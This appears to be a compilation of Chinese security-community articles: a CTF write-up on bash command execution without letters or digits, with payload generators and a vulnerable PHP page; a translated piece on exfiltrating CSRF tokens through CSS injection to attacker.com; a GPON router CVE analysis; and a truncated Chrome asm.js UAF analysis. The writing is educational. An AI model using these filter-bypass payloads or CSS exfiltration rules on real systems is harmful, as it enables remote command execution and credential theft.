$0 | 脚本本身的名字
$1 | 脚本后所输入的第一串字符
$2 | 传递给该shell脚本的第二个参数
$* | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ | 表示上一个命令的最后一个参数
$# | #脚本后所输入的字符串个数
$$ | 脚本运行的当前进程ID号
$! | 表示最后执行的后台命令的PID
$? | 显示最后命令的退出状态，0表示没有错误，其他表示由错误
## Web-Bash-Vino0o0o的构造思路
这种题最早的出处应该是2017年34c3CTF里的[minbashmaxfun](https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun/)，然后2020年安洵杯里有一道[Web-Bash-Vino0o0o](https://xz.aliyun.com/t/8581#toc-3)，借用了这种思路，不过因为原出处里
`bash<<<{,,,,}`这种形式并不能完美的执行命令，所以出题人采用了利用八进制实现命令构造的方法，美中不足的是那种做法并不能做到不出现数字，payload里出现了数字0，但那种构造思想很有趣，我也是顺着那条思路继续构造的，我使用的环境是centos，因此某些payload其他linux上可能不适用。
首先，在linux里完美可以利用八进制的方法绕过一些ban了字母的题
，即我们可以使用`$'\xxx'`的方式执行命令，比如我们可以用`$'\154\163'`执行ls：
可以发现有了这种技巧我们就可以在数字可用的情况下进行命令构造。
除此之外在bash里我们可以使用`[base#]n`的方式表示数字，也就是说我可以用`2#100`表示十进制数字4：
因此从这里我们又向前推进了一步，只有我们有数字1或者0那就可以继续构造命令。假如现在字母或者数字只有1和0可以用，这时我们可以使用位移运算1<<1代替2，得到payload：
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
理论上它可以代替`$'\154\163'`执行命令，但事实上是不行的：
可以看到这里只解析了一层解析到`$'\154\163'`就解析不下去了，想要它继续解析，我们不难想到Linux里的eval函数：
但可惜我们是不能使用它的，所以还是得老老实实的用1或者0构造，这里我们可以想到bash里的一种语法：command [args]
<<<["]$word["]，在这种语法下$word会展开并作为command的stdin，以此来继续执行命令：
但现在有个问题，就是用什么来代替bash，这时可以想到我之前文章里提到过的一个环境变量$0，它可以表示脚本本身的名字，而这里正是bash：
因此我们不难想出一种构造方式来：
$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
成功执行！假如这是一道CTF题，我们就该想想怎么执行cat /flag了，你想到的payload可能是：
$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
遗憾的是，这种payload并不能执行成功：
bash会告诉你不存在`cat
/flag`这种文件或者目录，很明显，bash是把它当作一个整体了，并没有有效的以空格作为分割，让cat作为命令，/flag作为参数，在ctfshow的极限命令执行题目里g4师傅给出了一种解决这种问题的方法——通过两次here-strings的方法来解析复杂的带参数命令，也就是说我们可以把payload改成：
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
执行成功，我们拿到了flag，但可以看到这种构造方式不够极限，里面不但出现0更出现了1，下面，我们开始构造真正的无字母数字命令。
## 利用$#构造
在之前那篇文章里我也提到过`$#`这个变量，它可以表示#脚本后所输入的字符串个数：
如果#后面啥也没有它就是0，有一个字符串比如#就变成了1，似乎现在我们只要把1用${##}替换，0用${#}替换即可：
$${#}<<<$${#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
可惜这种执行方法是不行的，因为虽然$0表示bash，${#}表示0，但把它们拼起来并不表示bash，这里$$直接执行了，意思是脚本运行的当前进程ID号。下一步你可能会想到linux里的字符串拼接，但这种拼接也只会解析第一层，不会解析到最后：
这时我们可以想到linux下感叹号!的一种用法，它可以进行变量替换：
因此理论上我们只要找到一个值为零的变量，然后就可以用这种方法进行变量替换得到$0，并且还能成功解析，这时我们很容易想到刚刚使用的${#}，毕竟它的值就是零嘛：
可以看到确实能得到bash，我们再次替换回去，可以得到新payload：
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
执行成功！但就这样还没完，毕竟这个payload理论上只是本地可以使用，像那道题原本的php环境里究竟能不能成功执行还是个未知数，我们起个本地环境：
<?php
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
if(preg_match("/[A-Za-z0-9]+/",$cmd)){
die("NO.");
}
system($cmd);
}else{
highlight_file(__FILE__);
}
把payload传过去试试：
可惜，这种方法在php里是不成功的。但这种payload并不是完全不行，经过我的研究，payload其实只是${!#}<<<${!#}这一段没解析出来bash<<<bash，所以导致命令失效，可以看到我们把它替换成$0<<<$0其实php也行：
这里面的具体原因我也不是很懂，自我感觉可能是${!#}这种复杂变量不能通过php的system函数解析出来，于是我把它换了一种形式：
其实本质上也没啥差别，我只是增加了变量$__作为过渡，减少了解析的过程，但惊喜的是这种方法即使是在php下也可以成功解析：
__=${#};${!__}<<<${!__}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
利用脚本：
cmd='cat /flag'
payload='__=${#};${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${##}').replace('0','${#}')
payload+='\\\''
print(payload)
顺着这种思路，我开始思考其他构造方式。
## 利用$?构造
从上一次构造我们其实可以发现，只要我们找到一个代表值为零的变量就可以得到bash进而继续构造，$?这个变量自然而然进入我的视线，它可以显示最后命令的退出状态，0表示没有错误，其他表示有错误
，因此只要我们的payload最后不报错它的值自然还是0了：
看我们上面的payload可以发现其实需要的数字也就0、1和2，2可以由1<<1构造出来，可以省略。不过由于$?并不像$#一样灵活，可以随意构造出来任何数字，所以我为了减轻麻烦使用自增运算构造出了1，2这两个数字，现在就已经足够了，payload：
__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'
直接像之前一样POST我们的payload的话报文里payload并没有被当作一个整体解析，所以我们可以url编码一下：
成功执行。
利用脚本：
cmd='cat /flag'
payload='__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')
payload+='\\\''
print(payload)
## 利用$(())构造
利用$(())构造是g4师傅出的极限命令执行最后的预期解，不过g4师傅使用的是按位取反的方法构造出了payload，我这里给出一种不用取反的payload。
linux里可以通过`__=$(())`的方式将变量的值设置为0：
有了0我们自然可以像利用$?进行构造的方式一样通过自增继续构造：
__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'
同样的，POST的话记得编码一下：
可以看到我们的payload其实也就替换了两个xx=$(())，所以如果大家还找到什么值为零的变量的话替换这两个即可。
利用脚本：
cmd='cat /flag'
payload='__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')
payload+='\\\''
print(payload)
## 后记
本质上还是参考了一些优秀师傅的思路，不过最后走出了一条属于自己的路还是挺开心的，各位大佬轻喷。
## 参考
[CTFshow-周末大挑战官方wp](https://ctf-show.feishu.cn/docx/EH72dMi3hoBtLJxDydjcIVcQnSc)
[Web-Bash-Vino0o0o](https://xz.aliyun.com/t/8581#toc-3) | 社区文章 |
# 使用HTML注入进行信息泄露
##### 译文声明
本文是翻译文章，文章原作者 d0nut，文章来源：medium.com
原文地址：<https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b>
译文仅供参考，具体内容表达以及含义原文为准。
本篇文章讲述了我如何发现一个漏洞利用点，并且可以bypass现有安全机制，使我获得5位数赏金。
## 一个奇怪的HTML注入案例
AndréBaptista和Cache-Money正在研究一个非常有趣的漏洞，它最初是一个简单的字符集bypass，经过一系列操作可以使目标（由于dompurify，不能进行XSS）演变成HTML注入。这是一条很棒的利用链，可以证明他们发现了很棒的东西。但如下问题还是让他们遇到了很大的麻烦。
在听到他们取得的进展后，我想去看看我是否能够提供一些帮助来使这个漏洞更具利用性。首先我们确定我们至少能够完成一次有效的点击劫持攻击。0xACB
(Andre)和Cache-Money有一个很好的想法，他们试图串联更多的攻击面组成利用链，以创造更大影响力的漏洞。但是我有一些其他的想法。
在我们确定了dompurify默认允许`style`标签之后，我开始思考如何利用CSS做更多的操作而不仅仅只是操纵DOM。如果你已经读过我的一些帖子，你就会知道我对CSS注入漏洞并不陌生。不幸的是，这个页面不仅有框架加载保护，并且需要一些用户交互来触发注入，这导致如果我们想要进行敏感信息泄露，则会浪费很长时间。并且这只是一个低危攻击，最多只能获得4位数的赏金。
我需要一种方法让浏览器在无需重新加载、iframes或用户交互的情况下可以执行多个CSS
payload以达成类似的攻击。此外，我们对可以注入的payload的长度进行限制。想要仅仅使用`<style>`标签来利用它似乎是不可能的，直到我开始了解了CSS的一个特性：`[@import](https://github.com/import
"@import")`。
## CSS注入入门
在我深入了解这项技术之前，我想用一个简短的部分来描述CSS注入中使用的传统token信息泄露
技术。如果你对这方面已经很熟悉了，可以跳到下一节。另外，我也曾在之前的一篇blog中更深入地探讨了这项技术([https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d)。](https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d\)%E3%80%82)
传统的CSS注入token信息泄露技术依赖于一种名为Attribute Selectors的CSS特性。Attribute
Selectors允许开发人员指定只有当某个元素的属性满足selector指示的条件时，才可以将该特定样式应用于该元素。我们可以利用attribute
selector创建一种规则，该规则仅在特定条件下适用于页面上的指定元素。当应用这些样式时，我们可以使用类似于`background-image`等属性使浏览器与攻击者交互，以循环获取token信息泄露操作的反馈。
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
在这个例子中，我们使浏览器一旦发现CSRF token以`a`开头，则将`background-image`设置为`https://attacker.com/exfil/a`中的图像。然后，我们对可能作为token开头的每个字符(a, b, c, ..
7, 8, 9, etc.)重复此规则。
一旦我们知道token的第一个字符是什么，我们就可以再次执行攻击（通常使用iframes），但需要稍微修改payload。
input[name=csrf][value^=ca]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
background-image: url(https://attacker.com/exfil/c9);
}
在这个例子中，我们假设CSRF token的第一个字母是一个`c`。如此一来，我们通过再次运行之前的规则就可以获得CSRF
token的第二个字符。但这要建立在这些tokens都是以`c`开头的基础上。
## 先决条件
上述技术通常需要三个前提：
1.CSS注入需要允许足够长的payload
2.能够在框架加载页面再次执行CSS新生成的payloads
3.能够引用外部图片（可能被CSP阻止）
这意味着，如果注入不允许足够大的payload，或者页面不能被框架加载，那么前面的技术可能不适用。在我们的例子中，这意味由于存在框架安全机制，以及实际可以注入的字符数量有限，我们无法使用这种技术。
## @import to the Rescue
许多编程语言能够从其他源文件导入代码，CSS也不例外。尽管许多人可能只知道`<link href="..."
rel="stylesheet">`，但实际上CSS本身有一种方法可以使用一种名为`[@import](https://github.com/import
"@import")`的at-rule来执行类似（但不同）类型的表单样式包含。
在大多数情况下，`[@import](https://github.com/import
"@import")`将提取的样式直接交换到当前样式表中，这使开发人员能够引入外部样式的同时，覆盖那些定义在`[@import](https://github.com/import
"@import")`行下的外部资源中的，不被需要的指令。
在某些浏览器（例如Chrome）中实现的此功能将会带来一个有趣的副作用，即可以在外部资源被提取到浏览器的同时处理样式表的其余部分。我的理解是，这种行为增加了页面的TTI，同时试图减少”flashes
of unstyled content”（参见FOUC problem），但实际上它在开发中有实际用途。
想象一下，我们有一个网页包含以下样式表：
@import url(http://laggysite.com/base.css);
* { color: red; }
Chrome通过3个步骤处理此样式表：
1.向`http://laggysite.com/base.css`发出请求
2.执行剩余指令（apply `* { color: red; }`）
3.当`http://laggysite.com/base.css`返回响应时，将响应代入样式表并重新执行样式表。
当`[@import](https://github.com/import
"@import")`目标响应时，我们可以利用浏览器再次执行样式表的行为，模拟以前的技术中从iframes中控制CSS再次执行的能力的行为。我们使用`[@import](https://github.com/import
"@import")`的唯一要求是我们必须在`style`标签的开始时拥有控制权（因为这是HTML注入）。
为此，我们将在样式表中创建两个`[@import](https://github.com/import
"@import")`规则，并让服务器保持所有连接为打开状态。然后，我们将使用标准的CSS注入token信息泄露payload从目标属性中提取第一个token。当我们的服务器从`background`样式接收到该token后，我们可以生成下一个token信息泄露payload，并使用新生成的payload响应下一个待处理的`[@import](https://github.com/import
"@import")`规则。
为了让它变得美观和整洁，我们可以用一个独立、首创的`[@import](https://github.com/import
"@import")`规则来解决所有问题（这也帮助我们实现控制payload长度的目的）。
为了证明这种攻击是可行的，我创建了一个我称为`sic`（Sequential Import
Chaining）的工具。这个名字的灵感来源于`[@import](https://github.com/import "@import")`规则连续的`1
by 1`属性，它们被链接在一起以引起CSS受控的再次执行。
您可以看到一个普通的HTML注入实例，它通过利用`sic`，泄露页面上的`href`。在一个更真实的例子中，攻击者会使用`value`属性提取一些更敏感的东西，例如DOM中的CSRF
token。
工具代码如下：
https://github.com/d0nutptr/sic
通过这项新技术，我们现在能够证明，受害者会在无意识的情况下，很轻易地从当前页面泄露敏感信息，这会极大地增加我们报告的赏金。
## 重新发现
你可以想象，当我看着我的工具（我花了好几个小时的时间）最终完成了它的任务时，我是多么的惊讶和激动。
> 我觉得我刚刚为一种漏洞发明了一种新的开发技术。在#h165事件之后，我将写一篇关于如何做到这一点的文章，并把你需要的工具分享给你。
> — [@d0nutptr](https://github.com/d0nutptr "@d0nutptr")
刚开始的时候，当我把这项利用方法展示给所有黑客的时候，他们都表示之前从来没有见到过类似的方法，因此可以确定我是第一个发现此方法的人。但直到我告诉了EdOverflow这个利用方法之后，他才跟我说，有个叫Vila的人在大约半年前就提出了类似的方法。
有趣的是，我试图构建一个与Vila的PoC类似的PoC，但是我无法理解如何递归地链接样式表，同时让浏览器兼容新注入的样式。递归方法要求您为每个新添加的规则添加`additional
specificity`，否则浏览器将只考虑样式表中最后一个适用的样式（也恰好是注入页面的第一个样式）。这就是为什么我提出了一种不需要`additional
specificity`的利用方法。尽管如此，这两种利用方式使用了相同的核心原则。
## 潜在应用
这项技术应用的范围很广。除了Web应用程序中HTML注入之外，我还做了其他一些尝试，比如我去电子邮件客户端中查看了，是否存在与Chrome相似的情况；然而，Vila提出的建议是在电子应用程序中尝试查找。
> ……这种方法对于电子应用程序中的HTML注入非常有用（攻击者通常没有iframe或可控navigation） —— pepe vila
最后，我对服务端渲染的含义感到非常好奇。或许我可以想象一个PDF生成的例子，在这个例子中，SSRF和javascript的执行都得到了缓解，这或许会导致一种潜在的可能，致使攻击者将注入到该文档中的内容泄露。
## 致谢
最后，我想向下面的人由衷的表达我的感激：
• 0xACB
• cache-money
• shubs
• sean
• ruby
• vila | 社区文章 |
**作者：dawu@知道创宇404实验室**
**日期：2018/05/04**
**英文版本：<https://paper.seebug.org/983/>**
#### 0x00 前言
2018/04/30，`vpnMentor`公布了 `GPON`
路由器的高危漏洞：验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。将这两个漏洞结合，只需要发送一个请求，就可以在
`GPON路由器` 上执行任意命令。本文在复现该漏洞的基础上，分析了相关漏洞形成的原因。
#### 0x01 漏洞文件定位
在有回显的远程命令执行漏洞中，使用 `ps` 命令往往能够很好地定位到漏洞点。
可以很明显地看到，进程14650执行了我们的命令，找到上一个进程`14649 root /bin/WebMgr -p 20 -s 0`。因为 `pid`
是递增的，所以很可能是 `/bin/WebMgr` 这个文件存在漏洞。
#### 0x02 漏洞分析
在获取到某设备的 `/bin/WebMgr` 和 `/lib/` 文件后，我们开始分析。
##### 2.1 分析前
分析前研究了这个漏洞的利用，发现了该web服务器是 `GoAhead-webs`
根据 `Server`字段判断，该web服务器的版本 <= `GoAhead 2.5.0`（`GoAhead 3.x` 版本的 `Server` 默认为
`GoAhead-http`）
在尝试 `https://www.seebug.org/search/?keywords=goahead&page=2`已有的 `GoAhead 2.x`
系列的漏洞无果，推测该web服务器可能基于 `GoAhead2.5.0`版本进行了二次开发。
### 2.2 验证绕过漏洞
用 `ida` 打开 `WebMgr` 后发现函数流程并不完整，所以使用了简单粗暴的方式，直接搜索 `images/`，定位到函数
`webLoginCheck`
但是该函数在 `WebMgr` 中并没有被调用，故这里我们结合漏洞作出合理猜测：
**当该函数 return 0时表示不需要验证**
结合函数逻辑，我们可以知道：当 `url` 中含有 `style/`,`script/`时也可以绕过验证。
##### 2.3 命令执行漏洞
由于之前读过 `GoAhead 2.1.8`的源码，所以知道 `WebMgr` 中定义 `cgi` 的逻辑为：
**先通过 websFormDefine 定义不同的cgi接口要调用的函数，然后再通过 websUrlHandlerDefine 加载
websFormHandler**
举个例子：
websFormDefine((int)"FLoidForm", (int)sub_1C918);
websUrlHandlerDefine("/GponForm", 0, 0, &websFormHandler, 0);
这意味着当 `url` 中的 `path` 以 `/GponForm` 开头时，会使用 `websFormHandler` 去处理，然后
`websFormHandler` 会寻找通过 `websFormDefine()` 定义的各种路径，然后调用对应的函数。 在这里，就是访问
`/GponForm/FloidForm` 时会调用 `sub_1C918` 完成相关操作。
在 `exp` 中，通过对 `/GponForm/diag_Form` 发送请求最终实现了命令执行。根据上文，可以找到
`/GponForm/diag_Form` 调用了函数 `sub_1A390`，结合 `system()` 的调用流程，我们可以知道 `sub_1A390`
调用了 `sub_1A684`，最终通过 `system()` 执行命令。
按照流程分析入下图：
在 `sub_1A684`中， 主要还是判断传入的 `dest_host` 是否合法。如果不合法或者无法解析，将会进行如下处理：
这也可以从我们第一张图：执行 `ps` 命令的结果中得到验证。
#### 0x03 影响范围
根据 `ZoomEye网络空间搜索引擎` 的探测结果，一共有 `2141183` 台路由器可能受该漏洞影响。
相关国家分布如图所示：
#### 0x04 结语
在分析漏洞后，我们尝试寻找该类路由器所属的厂商。在 `/web/images/`下，我们找到了多个国内外厂商的
`logo`,但是未有其它证据证明这些路由器属于这些厂商。
在查阅其它资料后，我们更倾向于这些路由器是 `OEM` 或者 `ODM`
出来的产品。因为很难找到生产厂商，所以修复工作将会更加困难。由于该漏洞影响范围广，利用简单，危害巨大，各大僵尸网络家族很可能会将该漏洞列入其利用库，需要警惕。
#### 0x05 参考链接
1. `vpnMentor`公布的 `GPON` 路由器的漏洞
<https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/>
2. `Seebug漏洞平台` 收录该漏洞
<https://www.seebug.org/vuldb/ssvid-97258>
3. `ZoomEye网络空间搜索引擎` 搜索结果
<https://www.zoomeye.org/searchResult?q=%22GPON%20Home%20Gateway%22>
* * * | 社区文章 |
# Chrome Issue 776677（CVE-2017-15399）asm.js UAF漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
之前一直在学习V8方面的漏洞，对于asm.js层的UAF漏洞还是第一次接触，本文将详细分析Chrome Issue 776677漏洞以及其利用方法。
## 0x01 前置知识
### asm.js
>
> asm.js不是一门新的语言，而是JavaScript的一个子集。由Mozilla于2013年提出，主要为了提升JS引擎执行代码的速度。通俗来说，同样是js代码，符合asm.js规范的代码对JS引擎更加友好，JS引擎在解释执行这些代码更加省心（例如不用进行变量类型推断了），也就更加快。
> 一旦 JavaScript 引擎发现运行的是 asm.js，就知道这是经过优化的代码，可以跳过语法分析这一步，直接转成汇编语言。另外，浏览器还会调用
> WebGL 通过 GPU 执行 asm.js，即 asm.js 的执行引擎与普通的 JavaScript 脚本不同。这些都是 asm.js
> 运行较快的原因。据称，asm.js 在浏览器里的运行速度，大约是原生代码的50%左右。
在asm.js 中，变量只有两种数据类型。`32位带符号整数`和`64位带符号浮点数`
asm.js 的类型声明有固定写法，`变量 | 0`表示整数，`+变量`表示浮点数。如下
var a = 1;
var x = a | 0; // x 是32位整数
var y = +a; // y 是64位浮点数
在javascript中，区别是`普通js`还是`asm.js`的关键在于函数里是否使用`"use asm";`关键词修饰，在函数中，在`"use
asm";`关键词之后的代码都属于`asm.js`，如下，由于`module`第一行使用了该关键字，那么函数后面的代码都将使用`asm.js`将代码翻译为汇编代码
function module() {
"use asm";
function f(x) {
x = x | 0;
}
return f;
}
var f = module();
f(1);
使用`./d8 t.js -print-opt-code`运行，可以看到，虽然没有多次循环触发`JIT`编译，但是仍然使用了`turbofan`进行编译
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 138)
0x3f4062c0 0 55 push ebp
0x3f4062c1 1 89e5 mov ebp,esp
0x3f4062c3 3 56 push esi
0x3f4062c4 4 57 push edi
0x3f4062c5 5 8b4508 mov eax,[ebp+0x8]
0x3f4062c8 8 e8d303f01f call 0x5f3066a0 (ToNumber) ;; code: BUILTIN
0x3f4062cd d a801 test al,0x1
0x3f4062cf f 0f8528000000 jnz 0x3f4062fd <+0x3d>
0x3f4062d5 15 d1f8 sar eax,1
0x3f4062d7 17 f20f2ac8 cvtsi2sd xmm1,eax
0x3f4062db 1b f20f2cc1 cvttsd2si eax,xmm1
0x3f4062df 1f 83f801 cmp eax,0x1
0x3f4062e2 22 0f8039000000 jo 0x3f406321 <+0x61>
0x3f4062e8 28 be00000000 mov esi,(nil) ;; wasm context reference
0x3f4062ed 2d e8cefeffff call 0x3f4061c0 ;; code: BUILTIN
0x3f4062f2 32 b885411839 mov eax,0x39184185 ;; object: 0x39184185 <undefined>
0x3f4062f7 37 89ec mov esp,ebp
0x3f4062f9 39 5d pop ebp
0x3f4062fa 3a c20800 ret 0x8
0x3f4062fd 3d b985411839 mov ecx,0x39184185 ;; object: 0x39184185 <undefined>
0x3f406302 42 3bc1 cmp eax,ecx
0x3f406304 44 0f8407000000 jz 0x3f406311 <+0x51>
0x3f40630a 4a f20f104803 movsd xmm1,[eax+0x3]
0x3f40630f 4f ebca jmp 0x3f4062db <+0x1b>
0x3f406311 51 660f76c9 pcmpeqd xmm1,xmm1
0x3f406315 55 660f73f134 psllq xmm1,52
0x3f40631a 5a 660f73d101 psrlq xmm1,1
0x3f40631f 5f ebba jmp 0x3f4062db <+0x1b>
0x3f406321 61 83ec08 sub esp,0x8
0x3f406324 64 f20f110c24 movsd [esp],xmm1
0x3f406329 69 e8d25ac0fc call 0x3c00be00 ;; code: STUB, DoubleToIStub, minor: 0
0x3f40632e 6e 83c408 add esp,0x8
0x3f406331 71 ebb5 jmp 0x3f4062e8 <+0x28>
0x3f406333 73 90 nop
在`asm.js`中，不能直接调用`javascript`中的函数或者访问数据，如下会报错，找不到`print`函数
function module() {
"use asm";
function f(x) {
x = x | 0;
print(x);
}
return f;
}
想要在`asm.js`中调用`js`中的函数和对象，必须使用函数参数来间接传递地址进行访问，如下
function module(stdlib) {
"use asm";
var p = stdlib.print;
function f(x) {
x = x | 0;
p(x);
}
return f;
}
var stdlib = {print:print};
var f = module(stdlib);
f(1);
通常，一个标准的`asm.js`函数模块参数应该有三个`function module(stdlib,foreign,buffer)
{}`，其中`stdlib`用来传递想要用到的一些函数，`foreign`用来传递一些变量,`buffer`用来共享内存。
function module(stdlib,foreign,buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function f1(x) {
x = x | 0;
fl[0x11] = x;
}
return f1;
}
var global = {Uint32Array:Uint32Array};
var env = {};
var buffer = new ArrayBuffer(0x100);
var f = module(global,env,buffer);
f(0x22);
var dv = new DataView(buffer);
print(dv.getUint32(0x11*4,true));
如图，我们在`asm.js`里修改了`ArrayBuffer`的内容，然后在`js`层显示。
除了直接传入`ArrayBuffer`对象进行内存共享，还可以使用`WebAssembly.Memory`来构造
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
其返回的`buffer`也是一个`ArrayBuffer`对象
DebugPrint: 0x4cb18421: [JSArrayBuffer] in OldSpace
- map = 0x3b9047b9 [FastProperties]
- prototype = 0x4cb08ac5
- elements = 0x5450412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0xf1dca000
- byte_length = 13107200
- wasm_buffer
- properties = 0x5450412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
其中`initial:200`代表申请200页大小的内存，每页为`0x10000`。使用`WebAssembly.Memory`的好处是其申请的内存空间可以扩展，如果想要扩充空间，·只需调用`grow`函数。而`ArrayBuffer`的话不能做到空间扩充。
memory.grow(1); //扩充1页的内存
## 0x02 漏洞分析
### patch分析
patch的地方比较多，经过分析，比较关键的地方是这两处
index cecf460..24b9091 100644
--- a/src/asmjs/asm-js.cc
+++ b/src/asmjs/asm-js.cc
@@ -374,6 +374,7 @@
ReportInstantiationFailure(script, position, "Requires heap buffer");
return MaybeHandle<Object>();
}
+ memory->set_is_growable(false);
size_t size = NumberToSize(memory->byte_length());
// TODO(mstarzinger): We currently only limit byte length of the buffer to
// be a multiple of 8, we should enforce the stricter spec limits here.
diff --git a/src/wasm/wasm-js.cc b/src/wasm/wasm-js.cc
index bad1a21..631d94a 100644
--- a/src/wasm/wasm-js.cc
+++ b/src/wasm/wasm-js.cc
@@ -753,6 +753,10 @@
max_size64 = i::FLAG_wasm_max_mem_pages;
}
i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
+ if (!old_buffer->is_growable()) {
+ thrower.RangeError("This memory cannot be grown");
+ return;
+ }
uint32_t old_size =
old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
int64_t new_size64 = old_size + delta_size;
主要是为`asm.js`的`memory`设置了一个标记，不允许我们在memory传给`asm.js`的模块以后再调用`memory.grow()`函数。
其精简后的POC如下
function module(stdlib,foreign,buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function f1(x) {
x = x | 0;
fl[0] = x;
}
return f1;
}
var global = {Uint32Array:Uint32Array};
var env = {};
